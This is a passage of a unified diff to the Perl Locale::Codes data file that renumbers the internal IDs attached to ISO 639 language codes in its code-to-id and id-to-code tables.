-         q(0422),
+         q(0421),
          q(0),
          ],
       q(ter) => [
-         q(0423),
+         q(0422),
          q(0),
          ],
       q(tet) => [
-         q(0424),
+         q(0423),
          q(0),
          ],
       q(tgk) => [
-         q(0425),
+         q(0424),
          q(0),
          ],
       q(tgl) => [
-         q(0426),
+         q(0425),
          q(0),
          ],
       q(tha) => [
-         q(0427),
+         q(0426),
          q(0),
          ],
       q(tig) => [
-         q(0429),
+         q(0428),
          q(0),
          ],
       q(tir) => [
-         q(0430),
+         q(0429),
          q(0),
          ],
       q(tiv) => [
-         q(0431),
+         q(0430),
          q(0),
          ],
       q(tkl) => [
-         q(0432),
+         q(0431),
          q(0),
          ],
       q(tlh) => [
-         q(0433),
+         q(0432),
          q(0),
          ],
       q(tli) => [
-         q(0434),
+         q(0433),
          q(0),
          ],
       q(tmh) => [
-         q(0435),
+         q(0434),
          q(0),
          ],
       q(tog) => [
-         q(0436),
+         q(0435),
          q(0),
          ],
       q(ton) => [
-         q(0437),
+         q(0436),
          q(0),
          ],
       q(tpi) => [
-         q(0438),
+         q(0437),
          q(0),
          ],
       q(tsi) => [
-         q(0439),
+         q(0438),
          q(0),
          ],
       q(tsn) => [
-         q(0440),
+         q(0439),
          q(0),
          ],
       q(tso) => [
-         q(0441),
+         q(0440),
          q(0),
          ],
       q(tuk) => [
-         q(0442),
+         q(0441),
          q(0),
          ],
       q(tum) => [
-         q(0443),
+         q(0442),
          q(0),
          ],
       q(tup) => [
-         q(0444),
+         q(0443),
          q(0),
          ],
       q(tur) => [
-         q(0445),
+         q(0444),
          q(0),
          ],
       q(tut) => [
-         q(0446),
+         q(0445),
          q(0),
          ],
       q(tvl) => [
-         q(0447),
+         q(0446),
          q(0),
          ],
       q(twi) => [
-         q(0448),
+         q(0447),
          q(0),
          ],
       q(tyv) => [
-         q(0449),
+         q(0448),
          q(0),
          ],
       q(udm) => [
-         q(0450),
+         q(0449),
          q(0),
          ],
       q(uga) => [
-         q(0451),
+         q(0450),
          q(0),
          ],
       q(uig) => [
-         q(0452),
+         q(0451),
          q(0),
          ],
       q(ukr) => [
-         q(0453),
+         q(0452),
          q(0),
          ],
       q(umb) => [
-         q(0454),
+         q(0453),
          q(0),
          ],
       q(und) => [
-         q(0455),
+         q(0454),
          q(0),
          ],
       q(urd) => [
-         q(0456),
+         q(0455),
          q(0),
          ],
       q(uzb) => [
-         q(0457),
+         q(0456),
          q(0),
          ],
       q(vai) => [
-         q(0458),
+         q(0457),
          q(0),
          ],
       q(ven) => [
-         q(0459),
+         q(0458),
          q(0),
          ],
       q(vie) => [
-         q(0460),
+         q(0459),
          q(0),
          ],
       q(vol) => [
-         q(0461),
+         q(0460),
          q(0),
          ],
       q(vot) => [
-         q(0462),
+         q(0461),
          q(0),
          ],
       q(wak) => [
-         q(0463),
+         q(0462),
          q(0),
          ],
       q(wal) => [
-         q(0464),
+         q(0463),
          q(0),
          ],
       q(war) => [
-         q(0465),
+         q(0464),
          q(0),
          ],
       q(was) => [
-         q(0466),
+         q(0465),
          q(0),
          ],
       q(wen) => [
-         q(0468),
+         q(0467),
          q(0),
          ],
       q(wln) => [
-         q(0469),
+         q(0468),
          q(0),
          ],
       q(wol) => [
-         q(0470),
+         q(0469),
          q(0),
          ],
       q(xal) => [
-         q(0471),
+         q(0470),
          q(0),
          ],
       q(xho) => [
-         q(0472),
+         q(0471),
          q(0),
          ],
       q(yao) => [
-         q(0473),
+         q(0472),
          q(0),
          ],
       q(yap) => [
-         q(0474),
+         q(0473),
          q(0),
          ],
       q(yid) => [
-         q(0475),
+         q(0474),
          q(0),
          ],
       q(yor) => [
-         q(0476),
+         q(0475),
          q(0),
          ],
       q(ypk) => [
-         q(0477),
+         q(0476),
          q(0),
          ],
       q(zap) => [
-         q(0478),
+         q(0477),
          q(0),
          ],
       q(zbl) => [
-         q(0479),
+         q(0478),
          q(0),
          ],
       q(zen) => [
-         q(0480),
+         q(0479),
          q(0),
          ],
       q(zgh) => [
-         q(0481),
+         q(0480),
          q(0),
          ],
       q(zha) => [
-         q(0482),
+         q(0481),
          q(0),
          ],
       q(zho) => [
@@ -92095,23 +92013,23 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(znd) => [
-         q(0483),
+         q(0482),
          q(0),
          ],
       q(zul) => [
-         q(0484),
+         q(0483),
          q(0),
          ],
       q(zun) => [
-         q(0485),
+         q(0484),
          q(0),
          ],
       q(zxx) => [
-         q(0486),
+         q(0485),
          q(0),
          ],
       q(zza) => [
-         q(0487),
+         q(0486),
          q(0),
          ],
       },
@@ -92150,160 +92068,160 @@ $Locale::Codes::Data{'language'}{'id2code'} = {
       q(0079) => q(zh),
       q(0086) => q(cu),
       q(0087) => q(cv),
-      q(0092) => q(kw),
-      q(0093) => q(co),
-      q(0097) => q(cr),
-      q(0102) => q(cs),
-      q(0104) => q(da),
-      q(0111) => q(dv),
-      q(0117) => q(nl),
-      q(0119) => q(dz),
-      q(0124) => q(en),
-      q(0126) => q(eo),
-      q(0127) => q(et),
-      q(0128) => q(ee),
-      q(0131) => q(fo),
-      q(0133) => q(fj),
-      q(0135) => q(fi),
-      q(0138) => q(fr),
-      q(0143) => q(fy),
-      q(0144) => q(ff),
-      q(0150) => q(ka),
-      q(0151) => q(de),
-      q(0154) => q(gd),
-      q(0155) => q(ga),
-      q(0156) => q(gl),
-      q(0157) => q(gv),
-      q(0165) => q(el),
-      q(0166) => q(gn),
-      q(0168) => q(gu),
-      q(0171) => q(ht),
-      q(0172) => q(ha),
-      q(0174) => q(he),
-      q(0175) => q(hz),
-      q(0178) => q(hi),
-      q(0181) => q(ho),
-      q(0182) => q(hr),
-      q(0184) => q(hu),
-      q(0187) => q(ig),
-      q(0188) => q(is),
-      q(0189) => q(io),
-      q(0190) => q(ii),
-      q(0192) => q(iu),
-      q(0193) => q(ie),
-      q(0195) => q(ia),
-      q(0197) => q(id),
-      q(0200) => q(ik),
-      q(0203) => q(it),
-      q(0204) => q(jv),
-      q(0206) => q(ja),
-      q(0212) => q(kl),
-      q(0214) => q(kn),
-      q(0216) => q(ks),
-      q(0217) => q(kr),
-      q(0219) => q(kk),
-      q(0223) => q(km),
-      q(0225) => q(ki),
-      q(0226) => q(rw),
-      q(0227) => q(ky),
-      q(0230) => q(kv),
-      q(0231) => q(kg),
-      q(0232) => q(ko),
-      q(0239) => q(kj),
-      q(0241) => q(ku),
-      q(0246) => q(lo),
-      q(0247) => q(la),
-      q(0248) => q(lv),
-      q(0250) => q(li),
-      q(0251) => q(ln),
-      q(0252) => q(lt),
-      q(0255) => q(lb),
-      q(0257) => q(lu),
-      q(0258) => q(lg),
-      q(0263) => q(mk),
-      q(0266) => q(mh),
-      q(0269) => q(ml),
-      q(0271) => q(mi),
-      q(0273) => q(mr),
-      q(0275) => q(ms),
-      q(0284) => q(mg),
-      q(0285) => q(mt),
-      q(0290) => q(mn),
-      q(0302) => q(na),
-      q(0303) => q(nv),
-      q(0304) => q(nr),
-      q(0305) => q(nd),
-      q(0306) => q(ng),
-      q(0308) => q(ne),
-      q(0313) => q(nn),
-      q(0314) => q(nb),
-      q(0317) => q(no),
-      q(0322) => q(ny),
-      q(0327) => q(oc),
-      q(0328) => q(oj),
-      q(0329) => q(or),
-      q(0330) => q(om),
-      q(0332) => q(os),
-      q(0339) => q(pa),
-      q(0343) => q(fa),
-      q(0346) => q(pi),
-      q(0347) => q(pl),
-      q(0349) => q(pt),
-      q(0352) => q(ps),
-      q(0354) => q(qu),
-      q(0359) => q(rm),
-      q(0361) => q(ro),
-      q(0362) => q(rn),
-      q(0364) => q(ru),
-      q(0366) => q(sg),
-      q(0371) => q(sa),
-      q(0382) => q(si),
-      q(0386) => q(sk),
-      q(0387) => q(sl),
-      q(0389) => q(se),
-      q(0393) => q(sm),
-      q(0395) => q(sn),
-      q(0396) => q(sd),
-      q(0399) => q(so),
-      q(0401) => q(st),
-      q(0402) => q(es),
-      q(0403) => q(sc),
-      q(0405) => q(sr),
-      q(0408) => q(ss),
-      q(0410) => q(su),
-      q(0413) => q(sw),
-      q(0414) => q(sv),
-      q(0417) => q(ty),
-      q(0419) => q(ta),
-      q(0420) => q(tt),
-      q(0421) => q(te),
-      q(0425) => q(tg),
-      q(0426) => q(tl),
-      q(0427) => q(th),
-      q(0428) => q(bo),
-      q(0430) => q(ti),
-      q(0437) => q(to),
-      q(0440) => q(tn),
-      q(0441) => q(ts),
-      q(0442) => q(tk),
-      q(0445) => q(tr),
-      q(0448) => q(tw),
-      q(0452) => q(ug),
-      q(0453) => q(uk),
-      q(0456) => q(ur),
-      q(0457) => q(uz),
-      q(0459) => q(ve),
-      q(0460) => q(vi),
-      q(0461) => q(vo),
-      q(0467) => q(cy),
-      q(0469) => q(wa),
-      q(0470) => q(wo),
-      q(0472) => q(xh),
-      q(0475) => q(yi),
-      q(0476) => q(yo),
-      q(0482) => q(za),
-      q(0484) => q(zu),
-      q(0538) => q(sh),
+      q(0091) => q(kw),
+      q(0092) => q(co),
+      q(0096) => q(cr),
+      q(0101) => q(cs),
+      q(0103) => q(da),
+      q(0110) => q(dv),
+      q(0116) => q(nl),
+      q(0118) => q(dz),
+      q(0123) => q(en),
+      q(0125) => q(eo),
+      q(0126) => q(et),
+      q(0127) => q(ee),
+      q(0130) => q(fo),
+      q(0132) => q(fj),
+      q(0134) => q(fi),
+      q(0137) => q(fr),
+      q(0142) => q(fy),
+      q(0143) => q(ff),
+      q(0149) => q(ka),
+      q(0150) => q(de),
+      q(0153) => q(gd),
+      q(0154) => q(ga),
+      q(0155) => q(gl),
+      q(0156) => q(gv),
+      q(0164) => q(el),
+      q(0165) => q(gn),
+      q(0167) => q(gu),
+      q(0170) => q(ht),
+      q(0171) => q(ha),
+      q(0173) => q(he),
+      q(0174) => q(hz),
+      q(0177) => q(hi),
+      q(0180) => q(ho),
+      q(0181) => q(hr),
+      q(0183) => q(hu),
+      q(0186) => q(ig),
+      q(0187) => q(is),
+      q(0188) => q(io),
+      q(0189) => q(ii),
+      q(0191) => q(iu),
+      q(0192) => q(ie),
+      q(0194) => q(ia),
+      q(0196) => q(id),
+      q(0199) => q(ik),
+      q(0202) => q(it),
+      q(0203) => q(jv),
+      q(0205) => q(ja),
+      q(0211) => q(kl),
+      q(0213) => q(kn),
+      q(0215) => q(ks),
+      q(0216) => q(kr),
+      q(0218) => q(kk),
+      q(0222) => q(km),
+      q(0224) => q(ki),
+      q(0225) => q(rw),
+      q(0226) => q(ky),
+      q(0229) => q(kv),
+      q(0230) => q(kg),
+      q(0231) => q(ko),
+      q(0238) => q(kj),
+      q(0240) => q(ku),
+      q(0245) => q(lo),
+      q(0246) => q(la),
+      q(0247) => q(lv),
+      q(0249) => q(li),
+      q(0250) => q(ln),
+      q(0251) => q(lt),
+      q(0254) => q(lb),
+      q(0256) => q(lu),
+      q(0257) => q(lg),
+      q(0262) => q(mk),
+      q(0265) => q(mh),
+      q(0268) => q(ml),
+      q(0270) => q(mi),
+      q(0272) => q(mr),
+      q(0274) => q(ms),
+      q(0283) => q(mg),
+      q(0284) => q(mt),
+      q(0289) => q(mn),
+      q(0301) => q(na),
+      q(0302) => q(nv),
+      q(0303) => q(nr),
+      q(0304) => q(nd),
+      q(0305) => q(ng),
+      q(0307) => q(ne),
+      q(0312) => q(nn),
+      q(0313) => q(nb),
+      q(0316) => q(no),
+      q(0321) => q(ny),
+      q(0326) => q(oc),
+      q(0327) => q(oj),
+      q(0328) => q(or),
+      q(0329) => q(om),
+      q(0331) => q(os),
+      q(0338) => q(pa),
+      q(0342) => q(fa),
+      q(0345) => q(pi),
+      q(0346) => q(pl),
+      q(0348) => q(pt),
+      q(0351) => q(ps),
+      q(0353) => q(qu),
+      q(0358) => q(rm),
+      q(0360) => q(ro),
+      q(0361) => q(rn),
+      q(0363) => q(ru),
+      q(0365) => q(sg),
+      q(0370) => q(sa),
+      q(0381) => q(si),
+      q(0385) => q(sk),
+      q(0386) => q(sl),
+      q(0388) => q(se),
+      q(0392) => q(sm),
+      q(0394) => q(sn),
+      q(0395) => q(sd),
+      q(0398) => q(so),
+      q(0400) => q(st),
+      q(0401) => q(es),
+      q(0402) => q(sc),
+      q(0404) => q(sr),
+      q(0407) => q(ss),
+      q(0409) => q(su),
+      q(0412) => q(sw),
+      q(0413) => q(sv),
+      q(0416) => q(ty),
+      q(0418) => q(ta),
+      q(0419) => q(tt),
+      q(0420) => q(te),
+      q(0424) => q(tg),
+      q(0425) => q(tl),
+      q(0426) => q(th),
+      q(0427) => q(bo),
+      q(0429) => q(ti),
+      q(0436) => q(to),
+      q(0439) => q(tn),
+      q(0440) => q(ts),
+      q(0441) => q(tk),
+      q(0444) => q(tr),
+      q(0447) => q(tw),
+      q(0451) => q(ug),
+      q(0452) => q(uk),
+      q(0455) => q(ur),
+      q(0456) => q(uz),
+      q(0458) => q(ve),
+      q(0459) => q(vi),
+      q(0460) => q(vo),
+      q(0466) => q(cy),
+      q(0468) => q(wa),
+      q(0469) => q(wo),
+      q(0471) => q(xh),
+      q(0474) => q(yi),
+      q(0475) => q(yo),
+      q(0481) => q(za),
+      q(0483) => q(zu),
+      q(0537) => q(sh),
       },
    q(alpha-3) => {
       q(0001) => q(aar),
@@ -92395,3494 +92313,3494 @@ $Locale::Codes::Data{'language'}{'id2code'} = {
       q(0087) => q(chv),
       q(0088) => q(chy),
       q(0089) => q(cmc),
-      q(0090) => q(cnr),
-      q(0091) => q(cop),
-      q(0092) => q(cor),
-      q(0093) => q(cos),
-      q(0094) => q(cpe),
-      q(0095) => q(cpf),
-      q(0096) => q(cpp),
-      q(0097) => q(cre),
-      q(0098) => q(crh),
-      q(0099) => q(crp),
-      q(0100) => q(csb),
-      q(0101) => q(cus),
-      q(0102) => q(cze),
-      q(0103) => q(dak),
-      q(0104) => q(dan),
-      q(0105) => q(dar),
-      q(0106) => q(day),
-      q(0107) => q(del),
-      q(0108) => q(den),
-      q(0109) => q(dgr),
-      q(0110) => q(din),
-      q(0111) => q(div),
-      q(0112) => q(doi),
-      q(0113) => q(dra),
-      q(0114) => q(dsb),
-      q(0115) => q(dua),
-      q(0116) => q(dum),
-      q(0117) => q(dut),
-      q(0118) => q(dyu),
-      q(0119) => q(dzo),
-      q(0120) => q(efi),
-      q(0121) => q(egy),
-      q(0122) => q(eka),
-      q(0123) => q(elx),
-      q(0124) => q(eng),
-      q(0125) => q(enm),
-      q(0126) => q(epo),
-      q(0127) => q(est),
-      q(0128) => q(ewe),
-      q(0129) => q(ewo),
-      q(0130) => q(fan),
-      q(0131) => q(fao),
-      q(0132) => q(fat),
-      q(0133) => q(fij),
-      q(0134) => q(fil),
-      q(0135) => q(fin),
-      q(0136) => q(fiu),
-      q(0137) => q(fon),
-      q(0138) => q(fre),
-      q(0139) => q(frm),
-      q(0140) => q(fro),
-      q(0141) => q(frr),
-      q(0142) => q(frs),
-      q(0143) => q(fry),
-      q(0144) => q(ful),
-      q(0145) => q(fur),
-      q(0146) => q(gaa),
-      q(0147) => q(gay),
-      q(0148) => q(gba),
-      q(0149) => q(gem),
-      q(0150) => q(geo),
-      q(0151) => q(ger),
-      q(0152) => q(gez),
-      q(0153) => q(gil),
-      q(0154) => q(gla),
-      q(0155) => q(gle),
-      q(0156) => q(glg),
-      q(0157) => q(glv),
-      q(0158) => q(gmh),
-      q(0159) => q(goh),
-      q(0160) => q(gon),
-      q(0161) => q(gor),
-      q(0162) => q(got),
-      q(0163) => q(grb),
-      q(0164) => q(grc),
-      q(0165) => q(gre),
-      q(0166) => q(grn),
-      q(0167) => q(gsw),
-      q(0168) => q(guj),
-      q(0169) => q(gwi),
-      q(0170) => q(hai),
-      q(0171) => q(hat),
-      q(0172) => q(hau),
-      q(0173) => q(haw),
-      q(0174) => q(heb),
-      q(0175) => q(her),
-      q(0176) => q(hil),
-      q(0177) => q(him),
-      q(0178) => q(hin),
-      q(0179) => q(hit),
-      q(0180) => q(hmn),
-      q(0181) => q(hmo),
-      q(0182) => q(hrv),
-      q(0183) => q(hsb),
-      q(0184) => q(hun),
-      q(0185) => q(hup),
-      q(0186) => q(iba),
-      q(0187) => q(ibo),
-      q(0188) => q(ice),
-      q(0189) => q(ido),
-      q(0190) => q(iii),
-      q(0191) => q(ijo),
-      q(0192) => q(iku),
-      q(0193) => q(ile),
-      q(0194) => q(ilo),
-      q(0195) => q(ina),
-      q(0196) => q(inc),
-      q(0197) => q(ind),
-      q(0198) => q(ine),
-      q(0199) => q(inh),
-      q(0200) => q(ipk),
-      q(0201) => q(ira),
-      q(0202) => q(iro),
-      q(0203) => q(ita),
-      q(0204) => q(jav),
-      q(0205) => q(jbo),
-      q(0206) => q(jpn),
-      q(0207) => q(jpr),
-      q(0208) => q(jrb),
-      q(0209) => q(kaa),
-      q(0210) => q(kab),
-      q(0211) => q(kac),
-      q(0212) => q(kal),
-      q(0213) => q(kam),
-      q(0214) => q(kan),
-      q(0215) => q(kar),
-      q(0216) => q(kas),
-      q(0217) => q(kau),
-      q(0218) => q(kaw),
-      q(0219) => q(kaz),
-      q(0220) => q(kbd),
-      q(0221) => q(kha),
-      q(0222) => q(khi),
-      q(0223) => q(khm),
-      q(0224) => q(kho),
-      q(0225) => q(kik),
-      q(0226) => q(kin),
-      q(0227) => q(kir),
-      q(0228) => q(kmb),
-      q(0229) => q(kok),
-      q(0230) => q(kom),
-      q(0231) => q(kon),
-      q(0232) => q(kor),
-      q(0233) => q(kos),
-      q(0234) => q(kpe),
-      q(0235) => q(krc),
-      q(0236) => q(krl),
-      q(0237) => q(kro),
-      q(0238) => q(kru),
-      q(0239) => q(kua),
-      q(0240) => q(kum),
-      q(0241) => q(kur),
-      q(0242) => q(kut),
-      q(0243) => q(lad),
-      q(0244) => q(lah),
-      q(0245) => q(lam),
-      q(0246) => q(lao),
-      q(0247) => q(lat),
-      q(0248) => q(lav),
-      q(0249) => q(lez),
-      q(0250) => q(lim),
-      q(0251) => q(lin),
-      q(0252) => q(lit),
-      q(0253) => q(lol),
-      q(0254) => q(loz),
-      q(0255) => q(ltz),
-      q(0256) => q(lua),
-      q(0257) => q(lub),
-      q(0258) => q(lug),
-      q(0259) => q(lui),
-      q(0260) => q(lun),
-      q(0261) => q(luo),
-      q(0262) => q(lus),
-      q(0263) => q(mac),
-      q(0264) => q(mad),
-      q(0265) => q(mag),
-      q(0266) => q(mah),
-      q(0267) => q(mai),
-      q(0268) => q(mak),
-      q(0269) => q(mal),
-      q(0270) => q(man),
-      q(0271) => q(mao),
-      q(0272) => q(map),
-      q(0273) => q(mar),
-      q(0274) => q(mas),
-      q(0275) => q(may),
-      q(0276) => q(mdf),
-      q(0277) => q(mdr),
-      q(0278) => q(men),
-      q(0279) => q(mga),
-      q(0280) => q(mic),
-      q(0281) => q(min),
-      q(0282) => q(mis),
-      q(0283) => q(mkh),
-      q(0284) => q(mlg),
-      q(0285) => q(mlt),
-      q(0286) => q(mnc),
-      q(0287) => q(mni),
-      q(0288) => q(mno),
-      q(0289) => q(moh),
-      q(0290) => q(mon),
-      q(0291) => q(mos),
-      q(0292) => q(mul),
-      q(0293) => q(mun),
-      q(0294) => q(mus),
-      q(0295) => q(mwl),
-      q(0296) => q(mwr),
-      q(0297) => q(myn),
-      q(0298) => q(myv),
-      q(0299) => q(nah),
-      q(0300) => q(nai),
-      q(0301) => q(nap),
-      q(0302) => q(nau),
-      q(0303) => q(nav),
-      q(0304) => q(nbl),
-      q(0305) => q(nde),
-      q(0306) => q(ndo),
-      q(0307) => q(nds),
-      q(0308) => q(nep),
-      q(0309) => q(new),
-      q(0310) => q(nia),
-      q(0311) => q(nic),
-      q(0312) => q(niu),
-      q(0313) => q(nno),
-      q(0314) => q(nob),
-      q(0315) => q(nog),
-      q(0316) => q(non),
-      q(0317) => q(nor),
-      q(0318) => q(nqo),
-      q(0319) => q(nso),
-      q(0320) => q(nub),
-      q(0321) => q(nwc),
-      q(0322) => q(nya),
-      q(0323) => q(nym),
-      q(0324) => q(nyn),
-      q(0325) => q(nyo),
-      q(0326) => q(nzi),
-      q(0327) => q(oci),
-      q(0328) => q(oji),
-      q(0329) => q(ori),
-      q(0330) => q(orm),
-      q(0331) => q(osa),
-      q(0332) => q(oss),
-      q(0333) => q(ota),
-      q(0334) => q(oto),
-      q(0335) => q(paa),
-      q(0336) => q(pag),
-      q(0337) => q(pal),
-      q(0338) => q(pam),
-      q(0339) => q(pan),
-      q(0340) => q(pap),
-      q(0341) => q(pau),
-      q(0342) => q(peo),
-      q(0343) => q(per),
-      q(0344) => q(phi),
-      q(0345) => q(phn),
-      q(0346) => q(pli),
-      q(0347) => q(pol),
-      q(0348) => q(pon),
-      q(0349) => q(por),
-      q(0350) => q(pra),
-      q(0351) => q(pro),
-      q(0352) => q(pus),
-      q(0353) => q(qtz),
-      q(0354) => q(que),
-      q(0355) => q(raj),
-      q(0356) => q(rap),
-      q(0357) => q(rar),
-      q(0358) => q(roa),
-      q(0359) => q(roh),
-      q(0360) => q(rom),
-      q(0361) => q(rum),
-      q(0362) => q(run),
-      q(0363) => q(rup),
-      q(0364) => q(rus),
-      q(0365) => q(sad),
-      q(0366) => q(sag),
-      q(0367) => q(sah),
-      q(0368) => q(sai),
-      q(0369) => q(sal),
-      q(0370) => q(sam),
-      q(0371) => q(san),
-      q(0372) => q(sas),
-      q(0373) => q(sat),
-      q(0374) => q(scn),
-      q(0375) => q(sco),
-      q(0376) => q(sel),
-      q(0377) => q(sem),
-      q(0378) => q(sga),
-      q(0379) => q(sgn),
-      q(0380) => q(shn),
-      q(0381) => q(sid),
-      q(0382) => q(sin),
-      q(0383) => q(sio),
-      q(0384) => q(sit),
-      q(0385) => q(sla),
-      q(0386) => q(slo),
-      q(0387) => q(slv),
-      q(0388) => q(sma),
-      q(0389) => q(sme),
-      q(0390) => q(smi),
-      q(0391) => q(smj),
-      q(0392) => q(smn),
-      q(0393) => q(smo),
-      q(0394) => q(sms),
-      q(0395) => q(sna),
-      q(0396) => q(snd),
-      q(0397) => q(snk),
-      q(0398) => q(sog),
-      q(0399) => q(som),
-      q(0400) => q(son),
-      q(0401) => q(sot),
-      q(0402) => q(spa),
-      q(0403) => q(srd),
-      q(0404) => q(srn),
-      q(0405) => q(srp),
-      q(0406) => q(srr),
-      q(0407) => q(ssa),
-      q(0408) => q(ssw),
-      q(0409) => q(suk),
-      q(0410) => q(sun),
-      q(0411) => q(sus),
-      q(0412) => q(sux),
-      q(0413) => q(swa),
-      q(0414) => q(swe),
-      q(0415) => q(syc),
-      q(0416) => q(syr),
-      q(0417) => q(tah),
-      q(0418) => q(tai),
-      q(0419) => q(tam),
-      q(0420) => q(tat),
-      q(0421) => q(tel),
-      q(0422) => q(tem),
-      q(0423) => q(ter),
-      q(0424) => q(tet),
-      q(0425) => q(tgk),
-      q(0426) => q(tgl),
-      q(0427) => q(tha),
-      q(0428) => q(tib),
-      q(0429) => q(tig),
-      q(0430) => q(tir),
-      q(0431) => q(tiv),
-      q(0432) => q(tkl),
-      q(0433) => q(tlh),
-      q(0434) => q(tli),
-      q(0435) => q(tmh),
-      q(0436) => q(tog),
-      q(0437) => q(ton),
-      q(0438) => q(tpi),
-      q(0439) => q(tsi),
-      q(0440) => q(tsn),
-      q(0441) => q(tso),
-      q(0442) => q(tuk),
-      q(0443) => q(tum),
-      q(0444) => q(tup),
-      q(0445) => q(tur),
-      q(0446) => q(tut),
-      q(0447) => q(tvl),
-      q(0448) => q(twi),
-      q(0449) => q(tyv),
-      q(0450) => q(udm),
-      q(0451) => q(uga),
-      q(0452) => q(uig),
-      q(0453) => q(ukr),
-      q(0454) => q(umb),
-      q(0455) => q(und),
-      q(0456) => q(urd),
-      q(0457) => q(uzb),
-      q(0458) => q(vai),
-      q(0459) => q(ven),
-      q(0460) => q(vie),
-      q(0461) => q(vol),
-      q(0462) => q(vot),
-      q(0463) => q(wak),
-      q(0464) => q(wal),
-      q(0465) => q(war),
-      q(0466) => q(was),
-      q(0467) => q(wel),
-      q(0468) => q(wen),
-      q(0469) => q(wln),
-      q(0470) => q(wol),
-      q(0471) => q(xal),
-      q(0472) => q(xho),
-      q(0473) => q(yao),
-      q(0474) => q(yap),
-      q(0475) => q(yid),
-      q(0476) => q(yor),
-      q(0477) => q(ypk),
-      q(0478) => q(zap),
-      q(0479) => q(zbl),
-      q(0480) => q(zen),
-      q(0481) => q(zgh),
-      q(0482) => q(zha),
-      q(0483) => q(znd),
-      q(0484) => q(zul),
-      q(0485) => q(zun),
-      q(0486) => q(zxx),
-      q(0487) => q(zza),
-      q(0488) => q(aav),
-      q(0489) => q(alv),
-      q(0490) => q(aqa),
-      q(0491) => q(aql),
-      q(0492) => q(auf),
-      q(0493) => q(awd),
-      q(0494) => q(azc),
-      q(0495) => q(cba),
-      q(0496) => q(ccn),
-      q(0497) => q(ccs),
-      q(0498) => q(cdc),
-      q(0499) => q(cdd),
-      q(0500) => q(csu),
-      q(0501) => q(dmn),
-      q(0502) => q(egx),
-      q(0503) => q(esx),
-      q(0504) => q(euq),
-      q(0505) => q(fox),
-      q(0506) => q(gme),
-      q(0507) => q(gmq),
-      q(0508) => q(gmw),
-      q(0509) => q(grk),
-      q(0510) => q(hmx),
-      q(0511) => q(hok),
-      q(0512) => q(hyx),
-      q(0513) => q(iir),
-      q(0514) => q(itc),
-      q(0515) => q(jpx),
-      q(0516) => q(kdo),
-      q(0517) => q(ngf),
-      q(0518) => q(omq),
-      q(0519) => q(omv),
-      q(0520) => q(plf),
-      q(0521) => q(poz),
-      q(0522) => q(pqe),
-      q(0523) => q(pqw),
-      q(0524) => q(qwe),
-      q(0525) => q(sdv),
-      q(0526) => q(sqj),
-      q(0527) => q(syd),
-      q(0528) => q(tbq),
-      q(0529) => q(trk),
-      q(0530) => q(tuw),
-      q(0531) => q(urj),
-      q(0532) => q(xgn),
-      q(0533) => q(xnd),
-      q(0534) => q(zhx),
-      q(0535) => q(zle),
-      q(0536) => q(zls),
-      q(0537) => q(zlw),
-      q(0539) => q(aaa),
-      q(0540) => q(aab),
-      q(0541) => q(aac),
-      q(0542) => q(aad),
-      q(0543) => q(aae),
-      q(0544) => q(aaf),
-      q(0545) => q(aag),
-      q(0546) => q(aah),
-      q(0547) => q(aai),
-      q(0548) => q(aak),
-      q(0549) => q(aal),
-      q(0550) => q(aan),
-      q(0551) => q(aao),
-      q(0552) => q(aap),
-      q(0553) => q(aaq),
-      q(0554) => q(aas),
-      q(0555) => q(aat),
-      q(0556) => q(aau),
-      q(0557) => q(aaw),
-      q(0558) => q(aax),
-      q(0559) => q(aaz),
-      q(0560) => q(aba),
-      q(0561) => q(abb),
-      q(0562) => q(abc),
-      q(0563) => q(abd),
-      q(0564) => q(abe),
-      q(0565) => q(abf),
-      q(0566) => q(abg),
-      q(0567) => q(abh),
-      q(0568) => q(abi),
-      q(0569) => q(abj),
-      q(0570) => q(abl),
-      q(0571) => q(abm),
-      q(0572) => q(abn),
-      q(0573) => q(abo),
-      q(0574) => q(abp),
-      q(0575) => q(abq),
-      q(0576) => q(abr),
-      q(0577) => q(abs),
-      q(0578) => q(abt),
-      q(0579) => q(abu),
-      q(0580) => q(abv),
-      q(0581) => q(abw),
-      q(0582) => q(abx),
-      q(0583) => q(aby),
-      q(0584) => q(abz),
-      q(0585) => q(aca),
-      q(0586) => q(acb),
-      q(0587) => q(acd),
-      q(0588) => q(acf),
-      q(0589) => q(aci),
-      q(0590) => q(ack),
-      q(0591) => q(acl),
-      q(0592) => q(acm),
-      q(0593) => q(acn),
-      q(0594) => q(acp),
-      q(0595) => q(acq),
-      q(0596) => q(acr),
-      q(0597) => q(acs),
-      q(0598) => q(act),
-      q(0599) => q(acu),
-      q(0600) => q(acv),
-      q(0601) => q(acw),
-      q(0602) => q(acx),
-      q(0603) => q(acy),
-      q(0604) => q(acz),
-      q(0605) => q(adb),
-      q(0606) => q(add),
-      q(0607) => q(ade),
-      q(0608) => q(adf),
-      q(0609) => q(adg),
-      q(0610) => q(adh),
-      q(0611) => q(adi),
-      q(0612) => q(adj),
-      q(0613) => q(adl),
-      q(0614) => q(adn),
-      q(0615) => q(ado),
-      q(0616) => q(adq),
-      q(0617) => q(adr),
-      q(0618) => q(ads),
-      q(0619) => q(adt),
-      q(0620) => q(adu),
-      q(0621) => q(adw),
-      q(0622) => q(adx),
-      q(0623) => q(adz),
-      q(0624) => q(aea),
-      q(0625) => q(aeb),
-      q(0626) => q(aec),
-      q(0627) => q(aed),
-      q(0628) => q(aee),
-      q(0629) => q(aek),
-      q(0630) => q(ael),
-      q(0631) => q(aem),
-      q(0632) => q(aen),
-      q(0633) => q(aeq),
-      q(0634) => q(aer),
-      q(0635) => q(aes),
-      q(0636) => q(aeu),
-      q(0637) => q(aew),
-      q(0638) => q(aey),
-      q(0639) => q(aez),
-      q(0640) => q(afb),
-      q(0641) => q(afd),
-      q(0642) => q(afe),
-      q(0643) => q(afg),
-      q(0644) => q(afi),
-      q(0645) => q(afk),
-      q(0646) => q(afn),
-      q(0647) => q(afo),
-      q(0648) => q(afp),
-      q(0649) => q(afs),
-      q(0650) => q(aft),
-      q(0651) => q(afu),
-      q(0652) => q(afz),
-      q(0653) => q(aga),
-      q(0654) => q(agb),
-      q(0655) => q(agc),
-      q(0656) => q(agd),
-      q(0657) => q(age),
-      q(0658) => q(agf),
-      q(0659) => q(agg),
-      q(0660) => q(agh),
-      q(0661) => q(agi),
-      q(0662) => q(agj),
-      q(0663) => q(agk),
-      q(0664) => q(agl),
-      q(0665) => q(agm),
-      q(0666) => q(agn),
-      q(0667) => q(ago),
-      q(0668) => q(agq),
-      q(0669) => q(agr),
-      q(0670) => q(ags),
-      q(0671) => q(agt),
-      q(0672) => q(agu),
-      q(0673) => q(agv),
